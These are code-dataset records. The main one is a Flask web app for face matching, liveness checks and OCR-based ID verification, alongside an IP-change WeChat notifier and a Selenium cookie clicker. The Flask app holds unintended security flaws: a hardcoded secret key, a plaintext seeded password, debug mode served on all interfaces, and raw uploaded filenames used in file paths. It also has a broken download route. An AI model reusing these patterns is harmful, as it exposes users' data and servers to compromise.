"graph_components.SampleGraphComponentsProvider", "line_number": 268, "usage_type": "name"}, {"api_name": "graph_components.ValueNode", "line_number": 269, "usage_type": "name"}, {"api_name": "graph_components.RelationEdge", "line_number": 270, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 271, "usage_type": "name"}, {"api_name": "graph_components.ValueNode", "line_number": 273, "usage_type": "name"}, {"api_name": "graph_components.RelationEdge", "line_number": 274, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 275, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 279, "usage_type": "name"}, {"api_name": "graph_components.SampleGraphComponentsProvider", "line_number": 282, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 295, "usage_type": "name"}, {"api_name": "graph_components.SampleGraphComponentsProvider", "line_number": 300, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 320, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 320, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 320, "usage_type": "name"}, {"api_name": "pyvis.network.Network", "line_number": 343, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 371, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 371, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 382, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 382, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 382, "usage_type": "name"}, {"api_name": "graph_components.ValueNode", "line_number": 393, "usage_type": "name"}, {"api_name": "graph_components.RelationEdge", "line_number": 398, "usage_type": "name"}, {"api_name": "graph_components.ValueNode", "line_number": 411, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 412, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 412, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 413, "usage_type": "name"}, {"api_name": "graph_components.ValueNode", "line_number": 413, "usage_type": "name"}, {"api_name": "graph_components.RelationEdge", "line_number": 413, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 438, "usage_type": "name"}, {"api_name": "graph_components.ValueNode", "line_number": 438, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 439, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 439, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 450, "usage_type": "name"}, {"api_name": "graph_components.ValueNode", "line_number": 450, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 450, "usage_type": "name"}, {"api_name": "graph_components.RelationEdge", "line_number": 450, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 440, "usage_type": "name"}, {"api_name": "graph_components.ValueNode", "line_number": 440, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 440, "usage_type": "name"}, {"api_name": "graph_components.RelationEdge", "line_number": 440, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 466, "usage_type": "name"}, {"api_name": "graph_components.ValueNode", "line_number": 466, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 467, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 467, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 468, "usage_type": "name"}, {"api_name": "graph_components.ValueNode", "line_number": 468, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 468, "usage_type": "name"}, {"api_name": "graph_components.RelationEdge", "line_number": 468, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 490, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 490, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 501, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 509, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 519, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 519, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 519, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 526, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 538, "usage_type": "name"}]} {"seq_id": "8026160489", "text": "# -*-coding:utf8-*-\nimport itchat\nfrom urllib import request\nimport time, schedule\n\n\ndef get_ip():\n try:\n ip = request.urlopen('http://ip.42.pl/raw', timeout=10).read()\n return str(ip)[2:-1]\n except BaseException:\n print(\"连接错误,IP未更新\")\n return IP\n\n\ndef get_time():\n time_array = time.localtime(time.time())\n now_time = time.strftime(\"%Y-%m-%d %H:%M:%S\", time_array)\n return now_time\n\n\ndef send_msg(name='尔了个达'):\n global IP\n users = itchat.search_friends(name=name)\n if len(users) >= 1:\n user_name = users[0]['UserName']\n text = \"更改时间：%s\\n更改地址：%s\" % (get_time(), IP)\n try:\n itchat.send(text, toUserName=user_name)\n print(text.replace('\\n', '\\t'))\n except BaseException:\n print(\"发送微信超时\")\n TIMEOUT = True\n else:\n print(\"未找到用户名\")\n\n\ndef ischanged_ip():\n global IP\n new_ip = get_ip()\n if new_ip == IP:\n if TIMEOUT:\n send_msg()\n else:\n print('IP未改变')\n else:\n IP = new_ip\n send_msg()\n\n\nTIMEOUT = False # 微信发送超时 下次要重新发送至微信\nIP = '114.221.159.240'\nif __name__ == '__main__':\n itchat.auto_login(hotReload=True) # 首次扫描登录后后续自动登录\n schedule.every(0.3).minutes.do(ischanged_ip)\n while True:\n schedule.run_pending()\n", "repo_name": "weiyd/GetIPToWeChat", "sub_path": "test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 1440, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "urllib.request.urlopen", "line_number": 9, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 9, "usage_type": "name"}, {"api_name": "time.localtime", "line_number": 17, "usage_type": "call"}, {"api_name": "time.time", "line_number": 17, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 18, "usage_type": "call"}, {"api_name": "itchat.search_friends", "line_number": 24, "usage_type": "call"}, {"api_name": "itchat.send", "line_number": 29, "usage_type": "call"}, {"api_name": "itchat.auto_login", "line_number": 54, "usage_type": "call"}, {"api_name": "schedule.every", "line_number": 55, "usage_type": "call"}, {"api_name": "schedule.run_pending", "line_number": 57, "usage_type": "call"}]} {"seq_id": "5637682463", "text": "from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nimport time\n\nchrome_driver_path = \"/Users/AadityaKharkia/chromedriver/chromedriver\"\ndriver = webdriver.Chrome(executable_path=chrome_driver_path)\n\nurl =\"http://orteil.dashnet.org/experiments/cookie/\"\n\ndriver = webdriver.Chrome(chrome_driver_path)\ndriver.get(url=url)\n\ncookie = driver.find_element(By.CSS_SELECTOR, \"#cookie\")\n\nwhile True:\n cookie.click()\n", "repo_name": "Aadityakharkia/Python-Course", "sub_path": "Day 48 | Cookie Clicker/Cookie Clicker Project.py", "file_name": "Cookie Clicker Project.py", "file_ext": "py", "file_size_in_byte": 432, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 6, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 6, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 10, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 10, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 13, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 13, "usage_type": "name"}]} {"seq_id": "6985211190", "text": "from doctest import COMPARISON_FLAGS\nimport json\nfrom gzip import READ\nfrom tkinter import PhotoImage\nfrom tkinter.filedialog import SaveAs\nfrom flask import Flask, render_template, redirect, url_for, request, session\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask import Flask ,render_template ,request, redirect, url_for ,g ,jsonify ,send_from_directory , send_file\nimport os\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"-1\"\nimport hashlib\nimport sqlite3\nfrom datetime import date\nimport cv2\nimport numpy as np\nimport base64\nimport datetime\nimport io\nimport pytesseract\nfrom PIL import Image\nfrom flask_bootstrap import Bootstrap\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, PasswordField, BooleanField\nfrom flask_wtf.file import FileField, FileRequired, FileAllowed\nfrom wtforms.validators import InputRequired, Email, Length\nfrom werkzeug.security import generate_password_hash, check_password_hash\nfrom werkzeug.utils import secure_filename\nfrom werkzeug.datastructures import FileStorage\nfrom flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user\n\n# Compare\nimport request_id\nfrom flask import Flask, jsonify, request, render_template\nfrom request_id import RequestIdMiddleware\nfrom werkzeug.serving import make_server\nfrom src.OCR.crop_morphology import crop_morphology\nfrom src.constants import ALLOWED__PICTURE_EXTENSIONS, ALLOWED_VIDEO_EXTENSIONS, frames_folder, upload_folder, \\\n image_size_threshold, max_resize, source_type_image, source_type_video\nfrom src.face_processing import compare_face\n# Compare\nimport os\nimport request_id\nfrom flask import Flask, jsonify, request, render_template\nfrom request_id import RequestIdMiddleware\nfrom werkzeug.serving import make_server\n\n\nfrom face_recognition_and_liveness.face_liveness_detection.face_recognition_liveness_app import recognition_liveness\n\napp = Flask(__name__)\napp.secret_key = 'web_app_for_face_recognition_and_liveness' # something super secret\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.sqlite'\nBootstrap(app)\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\nlogin_manager.login_view = 'login'\napp.config['UPLOAD_FOLDER'] = 'face_recognition_and_liveness/face_recognition/dataset'\nDATABASE='/home/www/database.sqlite'\napp.config['UPLOAD_FOLDER1'] = 'image1'\napp.config['UPLOAD_FOLDER2'] = 'image2'\napp.config['UPLOAD_FOLDER3'] = 'uploads_for_ver'\n\n\n\nclass Users(UserMixin, db.Model):\n id = db.Column(db.Integer, primary_key=True)\n username = db.Column(db.String(100))\n name = db.Column(db.String(100))\n phone = db.Column(db.String(100))\n password = db.Column(db.String(100))\n passport = db.Column(db.String(100))\n photo_id = db.Column(db.String(100))\n staus = db.Column(db.String(100))\n user_ip = db.Column(db.String(100))\n \n\ndef get_db():\n\tdb = getattr(g, '_database', None)\n\tif db is None:\n\t\tdb = g._database = sqlite3.connect(DATABASE)\n\treturn db\n\n\n@login_manager.user_loader\ndef load_user(user_id):\n return Users.query.get(int(user_id))\n\nclass LoginForm(FlaskForm):\n username = StringField('username', validators=[InputRequired(), Length(min=4, max=20)])\n password = PasswordField('password', validators=[InputRequired(), Length(min=5, max=80)])\n remember = BooleanField('remember me')\n\nclass RegisterForm(FlaskForm):\n name = StringField('Full Name', validators=[InputRequired(), Length(min=6, max=90)])\n username = StringField('Email', validators=[InputRequired(), Length(min=4, max=20)])\n phone = StringField('Phone No.', validators=[InputRequired(), Length(min=4, max=20)])\n password = PasswordField('password', validators=[InputRequired(), Length(min=5, max=80)])\n passport = FileField('Facial Photograph')\n\n\n# Comparison Image\nclass CompareImage(object):\n\n def __init__(self, image_1_path, image_2_path):\n self.minimum_commutative_image_diff = 1\n self.image_1_path = image_1_path\n self.image_2_path = image_2_path\n\n def compare_image(self):\n image_1 = cv2.imread(self.image_1_path, 0)\n image_2 = cv2.imread(self.image_2_path, 0)\n commutative_image_diff = self.get_image_difference(image_1, image_2)\n\n if commutative_image_diff < self.minimum_commutative_image_diff:\n print (\"Matched\")\n return commutative_image_diff\n return \"Not Matched\" \n # //random failure value\n\n @staticmethod\n def get_image_difference(image_1, image_2):\n first_image_hist = cv2.calcHist([image_1], [0], None, [256], [0, 256])\n second_image_hist = cv2.calcHist([image_2], [0], None, [256], [0, 256])\n\n img_hist_diff = cv2.compareHist(first_image_hist, second_image_hist, cv2.HISTCMP_BHATTACHARYYA)\n img_template_probability_match = cv2.matchTemplate(first_image_hist, second_image_hist, cv2.TM_CCOEFF_NORMED)[0][0]\n img_template_diff = 1 - img_template_probability_match\n\n # taking only 10% of histogram diff, since it's less accurate than template method\n commutative_image_diff = (img_hist_diff / 10) + img_template_diff\n return commutative_image_diff\n \n\n# Comparison Image\n\n# Comparison Video\n\nmiddleware = RequestIdMiddleware(\n app,\n format='{status} {REQUEST_METHOD:<6} {REQUEST_PATH:<60} {REQUEST_ID}',\n)\n\n\ndef get_error_result(source_type, is_no_files):\n if is_no_files:\n result = {\n \"status_code\": 400,\n \"error\": \"No \" + source_type + \" Found\"\n }\n else:\n result = {\n \"status_code\": 400,\n \"error\": source_type + \" extension is not correct\"\n }\n return jsonify(result)\n\n\ndef create_directories():\n # Check if upload and frames folder existed or not.\n # If not then create it\n if not os.path.exists(upload_folder):\n os.makedirs(upload_folder)\n if not os.path.exists(frames_folder):\n os.makedirs(frames_folder)\n\n # Get unique Request ID\n face_matching_request_id = request_id.get_request_id(request)\n print(\"Request ID:\", face_matching_request_id)\n\n # create a subdirectory with unique request id inside frames and upload folder\n request_upload_folder_path = os.path.join(upload_folder, face_matching_request_id)\n request_frames_folder_path = os.path.join(frames_folder, face_matching_request_id)\n os.makedirs(request_frames_folder_path)\n os.makedirs(request_upload_folder_path)\n\n return request_upload_folder_path, request_frames_folder_path\n\n\ndef set_tolerance_and_threshold(tolerance, threshold, sharpness):\n if tolerance != '':\n tolerance = float(tolerance)\n else:\n tolerance = 0.50\n\n if threshold != '':\n threshold = float(threshold)\n else:\n threshold = 0.80\n\n if sharpness is not None and sharpness != '':\n sharpness = float(sharpness)\n else:\n sharpness = 0.60\n\n print(\"Tolerance: \", tolerance)\n print(\"Face match threshold: \", threshold)\n print(\"Sharpness threshold: \", sharpness)\n return tolerance, threshold, sharpness\n\n\ndef check_files_uploaded():\n if request.files['known'].filename == '':\n print(\"no image uploaded\")\n return False, source_type_image\n if request.files['unknown'].filename == '':\n print(\"no video uploaded\")\n return False, source_type_video\n return True, \"pass\"\n\n\ndef check_valid_files_uploaded(known, unknown):\n if not known.filename.lower().endswith(ALLOWED__PICTURE_EXTENSIONS):\n return False, source_type_image\n if not unknown.filename.lower().endswith(ALLOWED_VIDEO_EXTENSIONS):\n return False, source_type_video\n return True, \"pass\"\n\n\n@app.route('/api/upload', methods=['POST'])\ndef upload_image_video():\n # Check whether files is uploaded or not\n is_files_uploaded, source_type = check_files_uploaded()\n if not is_files_uploaded:\n if source_type == \"image\":\n return get_error_result(\"Image\", True)\n else:\n return get_error_result(\"Video\", True)\n\n known = request.files['known']\n unknown = request.files['unknown']\n\n # Check if a valid image and video file was uploaded\n is_valid_files_uploaded, source_type = check_valid_files_uploaded(known, unknown)\n if not is_valid_files_uploaded:\n if source_type == \"image\":\n return get_error_result(\"Image\", True)\n else:\n return get_error_result(\"Video\", True)\n\n # Flask doesn't receive any information about\n # what type the client intended each value to be.\n # So it parses all values as strings.\n # And we need to parse it manually to float and set the value\n tolerance = request.form['tolerance']\n threshold = request.form['threshold']\n sharpness = request.form.get('sharpness')\n tolerance, threshold, sharpness = set_tolerance_and_threshold(tolerance, threshold, sharpness)\n\n # for Unit Test to pass without running through whole face matching process\n if \"testing\" in request.form:\n return jsonify(result={\"status_code\": 200})\n\n # create absolutely paths for the uploaded files\n request_upload_folder_path, request_frames_folder_path = create_directories()\n unknown_filename_path = os.path.join(request_upload_folder_path, unknown.filename)\n known_filename_path = os.path.join(request_upload_folder_path, known.filename)\n\n # Save the uploaded files to directory\n # Example: upload/request-id/image.jpg\n unknown.save(unknown_filename_path)\n known.save(known_filename_path)\n video_path = os.path.join(request_upload_folder_path, unknown.filename)\n\n if known and unknown:\n\n # Resize the known image and scale it down\n known_image_size = os.stat(known_filename_path).st_size\n print(\"Image Size: \", known_image_size)\n if known_image_size > image_size_threshold:\n print(\"Resizing the known image as it was larger than \", image_size_threshold)\n known_image = cv2.imread(known_filename_path)\n resized_image = cv2.resize(known_image, None, fx=0.1, fy=0.1, interpolation=cv2.INTER_AREA)\n cv2.imwrite(known_filename_path, resized_image)\n print(\"Resized image \", os.stat(known_filename_path).st_size)\n\n if os.stat(known_filename_path).st_size < max_resize:\n print(\"Enlarge back as it smaller than \", max_resize)\n known_image = cv2.imread(known_filename_path)\n resized_image = cv2.resize(known_image, None, fx=2, fy=2, interpolation=cv2.INTER_CUBIC)\n cv2.imwrite(known_filename_path, resized_image)\n print(\"Resized image \", os.stat(known_filename_path).st_size)\n\n crop_morphology(known_filename_path)\n\n # process both image and video\n return compare_face(known_filename_path,\n video_path,\n request_upload_folder_path,\n request_frames_folder_path,\n tolerance=tolerance,\n face_match_threshold=threshold,\n sharpness_threshold=sharpness)\n\n\n@app.route('/img_to_vid_compare')\ndef img_to_vid_compare():\n return render_template('img_to_vid_compare.html')\n# Comparison Video\n\n# Face Verification Image\n\n\n# Face Verification Image\n\n\n# Comparison Image\n@app.route('/img_to_img_compare')\ndef img_to_img_compare():\n return render_template('img_to_img_compare.html')\n \n@app.route('/img_to_img', methods = ['POST', 'GET'])\ndef img_to_img():\n if request.method == 'POST':\n img1 = request.files['img1']\n img2 = request.files['img2']\n\n now = datetime.datetime.now()\n currentDate = str(now.month) + \"_\" + str(now.day) + \"_\" + str(now.year)\n \n img_arg1 = currentDate + secure_filename(img1.filename)\n img_arg2 = currentDate + secure_filename(img2.filename)\n\n\n directory1=os.path.join(app.config['UPLOAD_FOLDER1'], img_arg1)\n directory2=os.path.join(app.config['UPLOAD_FOLDER2'], img_arg2)\n\n d1s = img_arg1\n d2s = img_arg2\n\n print (d1s)\n print (d2s)\n img1.save(directory1)\n img2.save(directory2)\n\n compare_image = CompareImage('image1/'+ d1s , 'image2/' + d2s)\n image_difference = compare_image.compare_image()\n print (image_difference)\n if image_difference != 1000:\n return render_template('img_to_img_compare.html', message= image_difference)\n else:\n return render_template('img_to_img_compare.html', message=\"Not the Same\")\n \n@app.errorhandler(500)\ndef internal_error(error):\n return render_template('index.html', message=\"Please upload valid photos having a face\") \n\t\t\n@app.errorhandler(404)\ndef not_found(error):\n return render_template('index.html', message=\"\") \n \n\n#Register AND LOGIN\n@app.route('/')\ndef index():\n return render_template('base1.html')\n\n\n\n\n#Database query function to return raw data from database\ndef query_db(query, args=(), one=False):\n\tcur = get_db().execute(query, args)\n\trv = cur.fetchall()\n\tcur.close()\n\treturn (rv[0] if rv else None) if one else rv\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n form = LoginForm()\n\n if form.validate_on_submit():\n user = Users.query.filter_by(username=form.username.data).first()\n if user:\n # compares the password hash in the db and the hash of the password typed in the form\n if check_password_hash(user.password, form.password.data):\n login_user(user, remember=form.remember.data)\n return redirect(url_for('dashboard'))\n return 'invalid username or password'\n\n return render_template('login.html', form=form)\n\n\n\n@app.route('/signup', methods=['GET', 'POST'])\ndef signup():\n form = RegisterForm()\n if form.validate_on_submit():\n hashed_password = generate_password_hash(form.password.data, method='sha256')\n # Experiment\n passport = form.passport.data\n filename = secure_filename(passport.filename)\n directory=os.path.join(app.config['UPLOAD_FOLDER'], filename)\n # Experiment\n # add the user form input which is form.'field'.data into the column which is 'field'\n passport.save(directory)\n size=os.path.getsize(directory)\n # filehash=hashlib.sha1(directory).hexdigest()\n os.rename(directory,os.path.join(app.config['UPLOAD_FOLDER'], filename))\n new_user = Users(username=form.username.data, name=form.name.data, phone=form.phone.data, password=hashed_password, passport=filename,user_ip=request.remote_addr)\n db.session.add(new_user)\n db.session.commit()\n return 'Account has been created go and login!'\n return render_template('signup.html', form=form)\n\n@app.route(\"/download/\",methods=['GET'])\ndef download(filehash):\n\t\t#filehash is sha1 hash stored in database of file.Increase download counter\n\t\tdata=query_db('select * from files where hash=?',[filehash])\n\t\tcounter=int(data[0][5])+1\n\t\ttry:\n\t\t\tget_db().execute(\"update files SET counter = ? WHERE hash=?\", [counter,filehash])\n\t\t\tget_db().commit()\n\t\t\t#return send_from_directory(app.config['UPLOAD_FOLDER'], data[0][3])\n\t\t\treturn send_file(os.path.join(app.config['UPLOAD_FOLDER'], data[0][3]),attachment_filename=data[0][1],as_attachment=True)\n\t\texcept:\n\t\t\treturn 'File not Found'\n\n@app.route(\"/server-usage\",methods=['GET'])\ndef server_usage():\n\tdata=query_db('select * from files')\n\tbandwidth=0\n\tfor i in data:\n\t\tbandwidth+=int(i[5])*int(i[2]) #Multiplying counter with size of file to get bandwidth amount\n\treturn jsonify(bandwidthusage=str(bandwidth/1024.0)+\" KB\")\n\n\n@app.route(\"/disk-usage\",methods=['GET'])\ndef disk_usage():\n\tdata=query_db('select * from files')\n\tdiskspace=0\n\tfor i in data:\n\t\tdiskspace+=int(i[2])\n\treturn jsonify(diskusage=str(diskspace/1024.0)+\" KB\")\n\ndef db_insert(filename,size,filehash):\n\t\tfilename=str(filename)\n\t\tsize=int(size)\n\t\tfiledate=str(date.today())\n\t\tfile_exist=query_db('select * from files where hash=?',[filehash])\n\t\tif not file_exist:\n\t\t\tget_db().execute(\"insert into files (filename,size,hash,date,counter) values (?,?,?,?,?)\", [filename,size,filehash,filedate,0])\n\t\t\tget_db().commit()\n\t\treturn True\n\n\n@app.teardown_appcontext\ndef close_connection(exception):\n\tdb = getattr(g, '_database', None)\n\tif db is not None:\n\t\tdb.close()\n\n@app.route('/dashboard')\n@login_required\ndef dashboard():\n return render_template('dashboard.html', name=current_user.username)\n\n\n@app.route('/logout')\n@login_required\ndef logout():\n logout_user()\n return redirect(url_for('index'))\n \n@app.route('/MainMenu')\ndef MainMenu():\n return render_template('MainMenu.html')\n\n@app.route('/index1')\ndef index1():\n return render_template(\"index1.html\")\n@app.route('/document_verification')\ndef document_verification():\n return render_template(\"document_verification.html\")\n\n@app.route('/face_with_image')\ndef face_with_image():\n return render_template(\"index.html\")\n\n#face verification\n\n@app.route('/face_rec' , methods =['GET','POST'])\ndef face_rec():\n if request.method == 'POST':\n print(request.form.get('longitude')) \n print(request.form.get('latitude')) \n\n # //Video Save\n # vid1 = request.files['vid']\n # vid_arg1 = secure_filename(vid1.filename)\n\n # directory3=os.path.join(app.config['UPLOAD_FOLDER3'], vid_arg1)\n # vid1s = vid_arg1\n # print (vid1s)\n # vid1.save(directory3)\n # //Video Save\n path_to_rec = 'uploads_for_ver/1.mp4'\n detected_name, label_name = recognition_liveness('face_recognition_and_liveness/face_liveness_detection/liveness.model',\n 'face_recognition_and_liveness/face_liveness_detection/label_encoder.pickle',\n 'face_recognition_and_liveness/face_liveness_detection/face_detector',\n 'face_recognition_and_liveness/face_recognition/encoded_faces.pickle',\n confidence=0.5, path_to_rec = path_to_rec)\n \n if detected_name != 'Unknown' and label_name == 'real':\n return render_template(\"verified.html\")\n elif detected_name != 'Unknown' and label_name == 'fake':\n return render_template(\"spoof.html\")\n elif detected_name == 'Unknown' and label_name == 'real':\n return render_template(\"regiteration.html\")\n else:\n return render_template(\"face_rec.html\")\n else:\n return render_template(\"face_rec.html\")\n\n#face verification\n\n@app.route('/indivcam')\ndef indivcam():\n return render_template('indivcam.html')\n\n@app.route('/scanner', methods=['GET', 'POST'])\ndef scan_file():\n if request.method == 'POST':\n start_time = datetime.datetime.now()\n f_name = request.form['f_name'].upper()\n mid_name = request.form['mid_name'].upper()\n l_name = request.form['l_name'].upper()\n id_no = request.form['id_no'].upper()\n image_data = request.files['file'].read()\n file_to = request.files['file']\n \n f_name_status = \"\"\n mid_name_status = \"\"\n l_name_status = \"\"\n id_no_status = \"\"\n scanned_text = pytesseract.image_to_string(Image.open(io.BytesIO(image_data))).upper()\n scanned_text2 = scanned_text.replace(\" \", \"\").replace(\"\\t\", \"\")\n \n if f_name in scanned_text2:\n f_name_status = \"verified\"\n else:\n f_name_status = \"unverified\"\n if mid_name in scanned_text2:\n mid_name_status = \"verified\"\n else:\n mid_name_status = \"unverified\"\n if l_name in scanned_text2:\n l_name_status = \"verified\"\n else:\n l_name_status = \"unverified\"\n if id_no in scanned_text2:\n id_no_status = \"verified\"\n else:\n id_no_status = \"unverified\"\n \n\n print(\"Found data:\", scanned_text2)\n\n session['data'] = {\n \"text\": scanned_text2,\n \"time\": str((datetime.datetime.now() - start_time).total_seconds()),\n \"fs\" : f_name_status,\n \"ls\": l_name_status,\n \"ids\": id_no_status\n }\n\n return redirect(url_for('result'))\n\n@app.route('/result')\ndef result():\n if \"data\" in session:\n data = session['data']\n return render_template(\n \"home/id_card_verification.html\",\n title=\"Result\",\n time=data[\"time\"],\n text=data[\"text\"],\n f = data[\"fs\"],\n l = data[\"ls\"],\n i = data[\"ids\"],\n words=len(data[\"text\"].split(\" \"))\n )\n else:\n return \"Wrong request method.\"\n\n@app.route('/scanner1', methods=['GET', 'POST'])\ndef scan_file1():\n if request.method == 'POST':\n field_name = request.form.getlist(\"name[]\")\n field_list = request.form.getlist(\"age[]\")\n start_time = datetime.datetime.now()\n image_data = request.files['file'].read()\n file_to = request.files['file']\n scanned_text = pytesseract.image_to_string(Image.open(io.BytesIO(image_data))).upper()\n scanned_text2 = scanned_text.replace(\" \", \"\").replace(\"\\t\", \"\")\n\n verification_passed=[]\n verification_failed=[]\n\n for x in field_list:\n if x.upper() in scanned_text2:\n verification_passed.append(x)\n else:\n verification_failed.append(x)\n \n print(\"Found data:\", scanned_text2)\n print(\"Verified Info:\", verification_passed)\n print(\"Unverified Info:\", verification_failed)\n\n\n session['data'] = {\n \"text\": scanned_text2,\n \"time\": str((datetime.datetime.now() - start_time).total_seconds()),\n \"ver_passed\": verification_passed,\n \"ver_failed\": verification_failed\n }\n\n return redirect(url_for('result1'))\n\n \n@app.route('/result1')\ndef result1():\n if \"data\" in session:\n data = session['data']\n return render_template(\n \"result1.html\",\n title=\"Result\",\n verified_info = data[\"ver_passed\"],\n unverified_info = data[\"ver_failed\"],\n words=len(data[\"text\"].split(\" \"))\n )\n else:\n return \"Wrong request method.\"\n\n\n@app.route('/upload', methods=['POST'])\ndef upload_file():\n file = request.files['image']\n\n # Save file\n #filename = 'static/' + file.filename\n #file.save(filename)\n\n # Read image\n image = cv2.imdecode(np.fromstring(file.read(), np.uint8), cv2.IMREAD_UNCHANGED)\n \n # Detect faces\n faces = detect_faces(image)\n\n if len(faces) == 0:\n faceDetected = False\n num_faces = 0\n to_send = ''\n else:\n faceDetected = True\n num_faces = len(faces)\n \n # Draw a rectangle\n for item in faces:\n draw_rectangle(image, item['rect'])\n \n # Save\n #cv2.imwrite(filename, image)\n \n # In memory\n image_content = cv2.imencode('.jpg', image)[1].tostring()\n encoded_image = base64.encodebytes(image_content)\n to_send = 'data:image/jpg;base64, ' + str(encoded_image, 'utf-8')\n\n return render_template('index.html', faceDetected=faceDetected, num_faces=num_faces, image_to_show=to_send, init=True)\n\n# ----------------------------------------------------------------------------------\n# Detect faces using OpenCV\n# ---------------------------------------------------------------------------------- \ndef detect_faces(img):\n '''Detect face in an image'''\n \n faces_list = []\n\n # Convert the test image to gray scale (opencv face detector expects gray images)\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n # Load OpenCV face detector (LBP is faster)\n # face_cascade = cv2.CascadeClassifier('opencv-files/lbpcascade_frontalface.xml')\n face_cascade = cv2.CascadeClassifier('opencv-files/cascade4.xml')\n\n # Detect multiscale images (some images may be closer to camera than others)\n # result is a list of faces\n faces = face_cascade.detectMultiScale(gray, scaleFactor=1.2, minNeighbors=10);\n\n # If not face detected, return empty list \n if len(faces) == 0:\n return faces_list\n \n for i in range(0, len(faces)):\n (x, y, w, h) = faces[i]\n face_dict = {}\n face_dict['face'] = gray[y:y + w, x:x + h]\n face_dict['rect'] = faces[i]\n faces_list.append(face_dict)\n\n # Return the face image area and the face rectangle\n return faces_list\n# ----------------------------------------------------------------------------------\n# Draw rectangle on image\n# according to given (x, y) coordinates and given width and heigh\n# ----------------------------------------------------------------------------------\ndef draw_rectangle(img, rect):\n '''Draw a rectangle on the image'''\n (x, y, w, h) = rect\n cv2.rectangle(img, (x, y), (x + w, y + h), (0, 255, 255), 2)\n\n# @app.route('/login_page', methods=['GET','POST'])\n# def login_page():\n# if request.method == 'POST':\n# session.pop('name', None)\n# username = request.form['username']\n# password = request.form['password']\n# user = Users.query.filter_by(username=username).first()\n# print(user)\n# if user is not None and user.password == password:\n# session['name'] = user.name # store variable in session\n# detected_name, label_name = recognition_liveness('face_recognition_and_liveness/face_liveness_detection/liveness.model',\n# 'face_recognition_and_liveness/face_liveness_detection/label_encoder.pickle',\n# 'face_recognition_and_liveness/face_liveness_detection/face_detector',\n# 'face_recognition_and_liveness/face_recognition/encoded_faces.pickle',\n# confidence=0.5)\n# if detected_name != \"Unknown\" and label_name == 'real':\n# return redirect(url_for('main'))\n# else:\n# return render_template('ver_failed_page.html', invalid_user=True, username=username)\n# else:\n# return render_template('login_page.html', incorrect=True)\n\n# return render_template('login_page.html')\n\n\n\n# Video-image Face Comparison\n\n\n@app.route('/main', methods=['GET'])\ndef main():\n name = session['name']\n return render_template('main_page.html', name=name)\n\nif __name__ == '__main__':\n # pytesseract.pytesseract.tesseract_cmd = r'C:\\Program Files\\Tesseract-OCR\\tesseract.exe'\n pytesseract.pytesseract.tesseract_cmd ='/home/ubuntu/.linuxbrew/bin/tesseract'\n db.create_all()\n\n # add users to database\n\n new_user = Users(username='jom_ariya', password='123456789', name='Ariya')\n db.session.add(new_user)\n\n # new_user_2 = Users(username='earth_ekaphat', password='123456789', name='Ekaphat')\n # new_user_3 = Users(username='bonus_ekkawit', password='123456789', name='Ekkawit')\n # db.session.add(new_user_2)\n # db.session.add(nexportew_user_3)\n\n app.run(host=\"0.0.0.0\" ,debug=True)\n", "repo_name": "Softechnolo/Face", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 27302, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.environ", "line_number": 10, "usage_type": "attribute"}, {"api_name": "flask.Flask", "line_number": 50, 